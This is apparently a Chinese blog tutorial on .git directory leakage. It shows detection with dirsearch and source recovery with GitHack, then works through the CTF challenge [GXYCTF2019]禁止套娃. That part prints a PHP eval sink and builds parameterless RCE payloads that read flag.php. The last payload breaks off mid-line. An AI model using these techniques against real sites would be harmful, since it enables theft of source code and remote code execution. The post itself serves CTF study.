git信息泄露漏洞

git信息泄露漏洞

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

危害

攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等,攻击者可能直接控制服务器。

git介绍

参考https://blog.csdn.net/xy_sunny/article/details/107620695

确定是否存在泄露

想要确定是否存在这个漏洞,可以通过以下方式。首先是看看有没有提示醒目地指出 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。
在这里插入图片描述

当然也可以直接通过网页访问 .git 目录,如果能访问就说明存在。
在这里插入图片描述

也可以试着访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。
在这里插入图片描述

获取漏洞的源码

要获取泄露的源码,可以使用 GitHack 工具,下载地址。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。

GitHack.py <url>

在这里插入图片描述

GitHack使用

工具地址F:\工具包\Web\GitHack-master
通过cmd使用
在这里插入图片描述本电脑

1|f:
2|cd 工具包\Web\GitHack-master
3|python Githack.py http://c3dd5489-c359-4087-a81b-32ff9769493f.node3.buuoj.cn/.git

命令

GitHack.py http://XXXXXXXXXXX/.git/

例题

buu [GXYCTF2019]禁止套娃

知识点:
1./.git泄露

2.无参数RCE

3.各种php函数的使用
在这里插入图片描述登录进去发现什么都没有,看大佬wp后知道是**.git文件泄露从而导致的源码的泄露**
可以用GItHack脚本跑。这个脚本是python2环境,可以放在kali下跑,命令为

python Githack.py http://。 。 。 。 。 。.buuoj.cn/.git

在这里插入图片描述跑完得到index.php源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
   
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
   
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
   
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
   
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
   
                die("还差一点哦!");
            }
        }
        else{
   
            die("再好好想想!");
        }
    }
    else{
   
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

源码分析:

  • 可以通过get一个exp参数,如果符合条件或者绕过限制,就可以执行。
  • 过滤了伪协议读取方式。
  • (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
  • 过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。

此为无参数RCE。即要使用不传入参数的函数来进行RCE。(无参数RCE参考链接https://www.cnblogs.com/wangtanzhi/p/12311239.html
根据源码可以知道flag就在flag.php中,然后exp要符合无参数的函数,但是可以套函数,也符合题目名称。

scandir(’.’):扫描当前目录
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos(),current():返回数组第一个值

所以构造?exp=print_r(scandir(pos(localeconv())));
在这里插入图片描述

//数组操作函数:

    end():数组指针指向最后一位
    next(): 数组指针指向下一位
    array_reverse(): 将数组颠倒
    array_rand(): 随机返回数组的键名
    array_flip():交换数组的键和值
读取文件函数

    file_get_content() :因为et被ban,所以不能使用
    readfile()
    highlight_file()
    show_source()

方法一:
使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
另:参考:https://blog.csdn.net/weixin_43553654/article/details/107686883

方法二:
同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到):

exp=show_source(array_rand(array
  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值